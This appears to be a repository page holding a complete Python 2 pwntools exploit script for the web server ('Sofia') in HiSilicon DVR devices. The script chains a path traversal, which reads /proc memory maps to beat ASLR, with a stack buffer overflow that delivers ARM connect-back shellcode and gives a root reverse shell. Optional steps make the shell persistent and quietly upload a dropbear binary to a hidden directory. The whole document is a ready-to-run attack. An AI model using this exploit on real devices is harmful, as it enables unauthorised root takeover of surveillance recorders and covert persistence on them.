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pwn-hisilicon-dvr/pwn_hisilicon_dvr.py /
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| #!/usr/bin/env python2 | |
| # | |
| # pwn hisilicon dvr web service | |
| # | |
| from pwn import * | |
| from time import sleep | |
| import re | |
| import argparse | |
| import os | |
| parser = argparse.ArgumentParser(description='exploit HiSilicon DVR devices') | |
| parser.add_argument('--rhost', help='target host', required=True) | |
| parser.add_argument('--rport', help='target port', default=80) | |
| parser.add_argument('--lhost', help='connectback ip', required=True) | |
| parser.add_argument('--lport', help='connectback port', default=31337) | |
| parser.add_argument('--bhost', help='listen ip to bind (default: connectback)') | |
| parser.add_argument('--bport', help='listen port to bind (default: connectback)') | |
| parser.add_argument('-n', '--nolisten', help='do not start listener (you should care about connectback listener on your own)', action='store_true') | |
| parser.add_argument('-i', '--interactive', help='select stack memory region interactively (rather than using autodetection)', action='store_true') | |
| parser.add_argument('-p', '--persistent', help='make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)', action='store_true') | |
| parser.add_argument('-u', '--upload', help='upload tools (now hardcoded "./tools/dropbear" in script) after pwn', action='store_true') | |
| parser.add_argument('--offset', help='exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8) | |
| parser.add_argument('--cmdline', help='cmdline of Sofia binary on remote target (default "/var/Sofia")', default='/var/Sofia') | |
| args = parser.parse_args() | |
| target_host = args.rhost | |
| target_port = int(args.rport) | |
| sofia_cmdline = args.cmdline | |
| if args.interactive: | |
| getleak_interactive = True | |
| else: | |
| getleak_interactive = False | |
| if args.persistent: | |
| shell_persistent = True | |
| else: | |
| shell_persistent = False | |
| if args.upload: | |
| shell_upload = True | |
| else: | |
| shell_upload = False | |
| connectback_host = args.lhost | |
| connectback_port = int(args.lport) | |
| if args.bhost: | |
| listen_host = args.bhost | |
| else: | |
| listen_host = connectback_host | |
| if args.bport: | |
| listen_port = int(args.bport) | |
| else: | |
| listen_port = connectback_port | |
| """ | |
| vuln1: bof in httpd | |
| ------------------- | |
| buffer overflow in builtin webserver binary `Sofia` | |
| which can be exploited to run shellcode (as root) on the device. | |
| PoC payload to cause a segfault: | |
| payload = "GET " + "a"*299 + "xxxx" + " HTTP" | |
| note, that in "xxxx" we can control pc register (program flow)! | |
| there is no nx enabled, so executing shellcode in place of "a"*299 | |
| is possible. however, stack address leak is needed to defeat aslr. | |
| vuln2: path traversal vuln in httpd | |
| ----------------------------------- | |
| builtin webserver has a directory path traversal vulnerability | |
| which can be exploited to leak arbitrary files. | |
| note, that the webserver binary `Sofia` is running as root, | |
| so exploiting this arbitrary file can be read from device fs. | |
| PoC request "GET ../../etc/passwd HTTP" reads file "/etc/passwd". | |
| Furthermore, dir listing is enabled as well. | |
| by exploiting vuln2 we can defeat aslr needed to exploit vuln1. | |
| namely, filesystem at /proc contains lots of information | |
| about running processes, e.g. contains memory mappings: | |
| request "GET ../../proc/[pid]/maps HTTP" reads memory | |
| mapping of process with pid [pid]. obverving the memory | |
| mapping patterns usually enough to defeat aslr (offset | |
| from mem map base is the same, even in different versions). | |
| """ | |
| # get pid of running dvr binary '/var/Sofia' | |
| def findpid(): | |
| with log.progress('getting pidlist') as logp: | |
| c = context.log_level | |
| context.log_level = 'error' | |
| r = remote(target_host, target_port) | |
| r.sendline('GET ../../proc HTTP') | |
| pids = [] | |
| for line in r.recvall().splitlines(): | |
| res = re.match(r'.*\.\./\.\./proc/([0-9]+)"', line) | |
| if res: | |
| pids.append(int(res.group(1))) | |
| r.close() | |
| context.log_level = c | |
| logp.success('found %d processes' % len(pids)) | |
| with log.progress("searching for PID of '%s'" % sofia_cmdline) as logp: | |
| pid_sofia = None | |
| pids.sort(reverse=True) | |
| for pid in pids: | |
| logp.status(str(pid)) | |
| c = context.log_level | |
| context.log_level = 'error' | |
| r = remote(target_host, target_port) | |
| r.sendline('GET ../../proc/%d/cmdline HTTP' % pid) | |
| resp = r.recvall().splitlines() | |
| r.close() | |
| context.log_level = c | |
| if sofia_cmdline + '\x00' == resp[-1]: | |
| pid_sofia = pid | |
| logp.success(str(pid_sofia)) | |
| break | |
| if not pid_sofia: | |
| logp.failure('did not found') | |
| return pid_sofia | |
| def getmodelnumber(): | |
| c = context.log_level | |
| context.log_level = 'error' | |
| r = remote(target_host, target_port) | |
| r.sendline('GET ../../mnt/custom/ProductDefinition HTTP') | |
| for l in r.recvall(timeout=5).decode('ascii').replace(',', '\n').splitlines(): | |
| if "Hardware" in l: | |
| modelnumber = l.split(":")[1].split('"')[1] | |
| r.close() | |
| context.log_level = c | |
| return modelnumber | |
| def guessregion(smaps): | |
| for t in range(len(smaps)-7, 1, -1): | |
| if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8: | |
| return (t+3) | |
| return (-1) | |
| # getting stack section base address | |
| # 'k' defines the section which contains the stack | |
| def getleak(pid, interactive): | |
| with log.progress("getting stack section base") as logp: | |
| c = context.log_level | |
| context.log_level = 'error' | |
| r = remote(target_host, target_port) | |
| r.sendline('GET ../../proc/%d/smaps HTTP' % pid) | |
| smaps = [] | |
| memStart = False | |
| for line in r.recvall().splitlines(): | |
| if memStart: | |
| t += (int(line.split()[1]),) | |
| i += 1 | |
| #if i >= 14: | |
| if i >= 7: | |
| smaps.append((memStart, t)) | |
| memStart = False | |
| if 'rwxp' in line: | |
| memStart = int(line.split('-')[0], 16) | |
| i = 0 | |
| t = () | |
| guess = guessregion(smaps) | |
| if guess < 0 or interactive: | |
| j = 0 | |
| for i in smaps: | |
| print (j, hex(i[0]), i[1:]) | |
| j += 1 | |
| k = int(raw_input('enter stack region id (guessed value = %d): ' % guess)) | |
| else: | |
| k = guess | |
| leak = smaps[k][0] | |
| r.close() | |
| context.log_level = c | |
| logp.success(hex(leak)) | |
| return leak | |
| # connectback shellcode | |
| # badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26 | |
| def shellcode(lhost, lport): | |
| badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26] | |
| badchars = map(chr, badchars) | |
| xscode = "01108fe211ff" | |
| xscode += "2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223" | |
| xscode += "0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4" | |
| xscode += "69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858" | |
| xscode += "ffffc046efbeadde" | |
| h = lambda x: hex(int(x))[2:] | |
| h2 = lambda x: h(x).zfill(2) | |
| xscode = xscode[:164] + h(lport+0x100).zfill(4) + ''.join(map(h2, lhost.split('.'))) + xscode[176:] | |
| xscode = xscode.decode('hex') | |
| for badchar in badchars: | |
| if badchar in xscode: | |
| raise NameError('badchar %s in shellcode!' % hex(ord(badchar))) | |
| return xscode | |
| def restart_dvrapp(c): | |
| with log.progress('restarting dvr application') as logp: | |
| logp.status('looking up dvrhelper process') | |
| c.sendline('ps') | |
| cmdline = '' | |
| while not 'dvrHelper' in cmdline: | |
| cmdline = c.recvline() | |
| cmdline = cmdline.split() | |
| while not 'ps' in c.recvline(): | |
| pass | |
| sleep(1) | |
| logp.status('killing dvrhelper') | |
| c.sendline('kill %s' % cmdline[0]) | |
| sleep(1) | |
| cmdline_dvrhelper = ' '.join(cmdline[4:]) | |
| logp.status('starting dvrhelper: %s' % cmdline_dvrhelper) | |
| c.sendline(cmdline_dvrhelper + ' 2>/dev/null &') | |
| sleep(1) | |
| c.recvuntil(sofia_cmdline) | |
| c.recvline() | |
| def upload_tools(c): | |
| with log.progress('uploading tools to /var/.tools') as logp: | |
| logp.status('creating dir') | |
| c.sendline('rm -fr /var/.tools') | |
| sleep(1) | |
| c.sendline('mkdir /var/.tools') | |
| sleep(1) | |
| tools = ['dropbear'] | |
| upload_blocksize = 1024 | |
| for tool in tools: | |
| toolsize = os.path.getsize('./tools/%s' % tool) | |
| b = 0 | |
| fp = open("./tools/%s" % tool, "rb") | |
| for chunk in iter(lambda: fp.read(upload_blocksize), ''): | |
| chunkhex = ''.join(['\\x'+chunk.encode('hex')[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)]) | |
| c.sendline("echo -n -e '%s' >> /var/.tools/%s" % (chunkhex, tool)) | |
| b += len(chunk) | |
| logp.status('%s: %d/%d' % (tool, b, toolsize)) | |
| sleep(0.1) | |
| fp.close() | |
| c.sendline('chmod +x /var/.tools/%s' % tool) | |
| sleep(1) | |
| logp.success(' '.join(tools)) | |
| log.info('target is %s:%d' % (target_host, target_port)) | |
| if not args.nolisten: | |
| log.info('connectback on %s:%d' % (listen_host, listen_port)) | |
| with log.progress("assembling shellcode") as logp: | |
| xscode = shellcode(connectback_host, connectback_port) | |
| logp.success("done. length is %d bytes" % len(xscode)) | |
| with log.progress("identifying model number") as logp: | |
| modelnumber = getmodelnumber() | |
| logp.success(modelnumber) | |
| log.info('exploiting dir path traversal of web service to get leak addresses') | |
| stack_section_base = getleak(findpid(), getleak_interactive) | |
| stack_offset = args.offset | |
| stack_20 = stack_section_base + stack_offset + 20 | |
| log.info('shellcode address is ' + hex(stack_20)) | |
| payload = "GET " | |
| payload += xscode | |
| payload += "a" * (299 - len(xscode)) | |
| payload += p32(stack_20) | |
| payload += " HTTP" | |
| log.info('exploiting buffer overflow in web service url path') | |
| log.info('remote shell should gained by connectback shellcode!') | |
| if not args.nolisten: | |
| l = listen(bindaddr=listen_host, port=listen_port, timeout=5) | |
| c = l.wait_for_connection() | |
| r = remote(target_host, target_port) | |
| r.sendline(payload) | |
| r.recvall(timeout=5) | |
| r.close() | |
| if not args.nolisten: | |
| if shell_persistent: | |
| restart_dvrapp(c) | |
| if shell_upload: | |
| upload_tools(c) | |
| c.interactive() |